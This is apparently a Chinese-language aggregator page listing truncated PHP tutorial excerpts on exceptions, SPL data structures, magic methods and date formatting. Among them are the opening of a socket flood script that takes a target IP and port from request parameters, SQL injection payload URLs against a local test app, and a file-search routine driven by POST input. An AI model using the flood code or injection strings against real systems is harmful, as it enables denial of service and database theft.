Time of Update: 2017-01-19
首先要知道什麼是PHP異常? 異常(Exception)用於在指定的錯誤發生時改變指令碼的正常流程。 PHP 5 提供了一種新的物件導向的錯誤處理方法。 異常處理用於在指定的錯誤(異常)情況發生時改變指令碼的正常流程。這種情況稱為異常。 當異常被觸發時,通常會發生: 當前代碼狀態被儲存 代碼執行被切換到預定義的異常處理器函數 根據情況,處理器也許會從儲存的代碼狀態重新開始執行代碼,終止指令碼執行,或從代碼中另外的位置繼續執行指令碼 我們將展示不同的錯誤處理方法: 異常的基本使用
Time of Update: 2017-01-19
php實現記住密碼自動登入方法不止一個,下面出現有二個emptyempty,其實是一個,那是因為代碼高亮有bug。希望對大家有協助。 一,使用者登入的check 複製代碼 代碼如下: //檢查使用者是否登入 function checklogin(){ if(emptyempty($_SESSION['user_info'])){ //檢查一下session是不是為空白 if(emptyempty($_COOKIE['username']) ||
Time of Update: 2017-01-19
用PHP代碼調用sockets,直接用伺服器的網路攻擊別的IP,常見代碼如下: 複製代碼 代碼如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \";
Time of Update: 2017-01-19
eq相等, ne、neq不相等, gt大於, lt小於, gte、ge大於等於, lte、le 小於等於, not非, mod求模。 is [not] div by是否能被某數整除, is [not] even是否為偶數, $a is [not] even by $b即($a / $b) % 2 == 0, is [not] odd是否為奇, $a is not odd by $b即($a / $b) % 2 != 0 樣本: equal/ not equal/ greater than/
Time of Update: 2017-01-19
複製代碼 代碼如下:<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST["key"]
Time of Update: 2017-01-19
SQL注入的重點就是構造SQL語句,只有靈活的運用SQL 語句才能構造出牛比的注入字串。學完之後寫了點筆記,已備隨時使用。希望你在看下面內容時先了 解SQL的基本原理。筆記中的代碼來自網路。 ===基礎部分=== 本表查詢: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(
Time of Update: 2017-01-19
棧(Stack)是一種特殊的線性表,因為它只能線上性表的一端進行插入或刪除元素(即進棧和出棧)SplStack就是繼承雙鏈表(SplDoublyLinkedList)實現棧。類摘要如下:簡單使用如下://把棧想象成一個顛倒的數組$stack = new SplStack();/** * 可見棧和雙鏈表的區別就是IteratorMode改變了而已,棧的IteratorMode只能為: * (1)SplDoublyLinkedList::IT_MODE_LIFO |
Time of Update: 2017-01-19
雙鏈表是一種重要的線性儲存結構,對於雙鏈表中的每個節點,不僅僅儲存自己的資訊,還要儲存前驅和後繼節點的地址。PHP SPL中的SplDoublyLinkedList類提供了對雙鏈表的操作。SplDoublyLinkedList類摘要如下:SplDoublyLinkedList implements Iterator , ArrayAccess , Countable { public __construct ( void ) public void add ( mixed
Time of Update: 2017-01-19
隊列這種資料結構更簡單,就像我們生活中排隊一樣,它的特性是先進先出(FIFO)。PHP SPL中SplQueue類就是實現隊列操作,和棧一樣,它也可以繼承雙鏈表(SplDoublyLinkedList)輕鬆實現。SplQueue類摘要如下:SplQueue簡單使用如下:複製代碼 代碼如下:$queue = new SplQueue(); /** * 可見隊列和雙鏈表的區別就是IteratorMode改變了而已,棧的IteratorMode只能為: *
Time of Update: 2017-01-19
堆(Heap)就是為了實現優先隊列而設計的一種資料結構,它是通過構造二元堆積(二叉樹的一種)實現。根節點最大的堆叫做最大堆或大根堆,根節點最小的堆叫做最小堆或小根堆。二元堆積還常用於排序(堆排序)。如下:最小堆(任意節點的優先順序不小於它的子節點)看看PHP SplHeap的實現:顯然它是一個抽象類別,最大堆(SplMaxHeap)和最小堆(SplMinHeap)就是繼承它實現的。最大堆和最小堆並沒有額外的方法SplHeap的簡單使用如下:class MySimpleHeap extends
Time of Update: 2017-01-19
PHP SPL SplObjectStorage是用來儲存一組對象的,特別是當你需要唯一標識對象的時候。PHP SPL SplObjectStorage類實現了Countable,Iterator,Serializable,ArrayAccess四個介面。可實現統計、迭代、序列化、數組式訪問等功能。看下面一個簡單的例子:class A { public $i; public function __construct($i) { $this->i = $i; }} $a1 =
Time of Update: 2017-01-19
迪菲-赫爾曼(Diffie–Hellman)是一個可以讓雙方在不安全的公用通道上建立秘鑰的一種演算法,雙方後期就可以利用這個秘鑰加密(如RC4)內容。迪菲-赫爾曼(Diffie–Hellman)演算法原理很簡單:如上原理,最後很容易通過數學原理證明(g^b%p)^a%p =
Time of Update: 2017-01-19
libcurl同時也支援HTTPS認證、HTTP POST、HTTP PUT、 FTP 上傳(這個也能通過PHP的FTP擴充完成)、HTTP 基於表單的上傳、代理、cookies和使用者名稱+密碼的認證。<?php $discuz_url = 'http://www.jb51.net/';//論壇地址 $login_url = $discuz_url .'login.php?action=login';//登入頁地址 $post_fields = array();
Time of Update: 2017-01-19
魔術方法是PHP物件導向中特有的特性。它們在特定的情況下被觸發,都是以雙底線開頭,你可以把它們理解為鉤子,利用模式方法可以輕鬆實現PHP物件導向中重載(Overloading即動態建立類屬性和方法)。魔術方法很多還是成對出現的,以下列出目前PHP中所有的模式方法。1.__construct,__destruct__constuct構建對象的時被調用;__destruct明確銷毀對象或指令碼結束時被調用;2.__get,__set__set當給不可訪問或不存在屬性賦值時被調用__get讀取不可訪問
Time of Update: 2017-01-19
restfule 介面適用的平台:跨平台所依賴:curl擴充git:https://git.oschina.net/anziguoer/restAPIApiServer.php<?php/** * @Author: yangyulong * @Email : anziguoer@sina.com * @Date: 2015-04-30 05:38:34 * @Last Modified by: yangyulong * @Last Modified time: 2015-04-
Time of Update: 2017-01-19
PHP的類方法和函數中可實作類別型約束,但參數只能指定類、數組、介面、callable 四種類型,參數可預設為NULL,PHP並不能約束標量類型或其它類型。如下樣本:複製代碼 代碼如下:<?php class Test{ public function test_array(array $arr) { print_r(
Time of Update: 2017-01-19
PHP SPL標準庫總共有6個介面,如下:1.Countable2.OuterIterator 3.RecursiveIterator 4.SeekableIterator5.SplObserver 6.SplSubject其中OuterIterator、RecursiveIterator、SeekableIterator都是繼承Iterator類的,下面會對每種介面作用和使用進行詳細說明。Coutable介面:實現Countable介面的對象可用於count()函數計數。複製代碼
Time of Update: 2017-01-19
PHP SPL中提供了SplFileInfo和SplFileObject兩個類來處理檔案操作。SplFileInfo用來擷取檔案詳細資料:複製代碼 代碼如下:$file = new SplFileInfo('foo-bar.txt'); print_r(array( 'getATime' => $file->getATime(), //最後訪問時間 'getBasename' => $file-&
Time of Update: 2017-01-19
目標:可將一個類的介面轉換成客戶希望的另外一個介面,使得原本不相容的介面能夠一起工作。通俗的理解就是將不同介面適配成統一的API介面。角色:Target適配目標,該角色定義把其他類轉換為何種介面,也就是我們的期望介面。Adaptee被適配者,就是需要被適配的介面。Adapter適配器,其他的兩個角色都是已經存在的角色,而適配器角色是需要建立立的,它用來對Adaptee與Target介面進行適配。應用情境:如資料操作有mysql、mysqli、pdo、sqlite、postgresql等,假若產生
Time of Update: 2017-01-19
使用函式 date() 實現複製代碼 代碼如下:<?php echo $showtime=date("Y-m-d H:i:s");?> 顯示的格式: 年-月-日 小時:分鐘:秒相關時間參數:a - "am" 或是 "pm" A - "AM" 或是 "PM" d - 幾日,二位元字,若不足二位則前面補零; 如: "01" 至 "31" D - 星期幾,三個英文字母; 如: "Fri" F - 月份,英文全名; 如: "January" h - 12 小時制的小時; 如: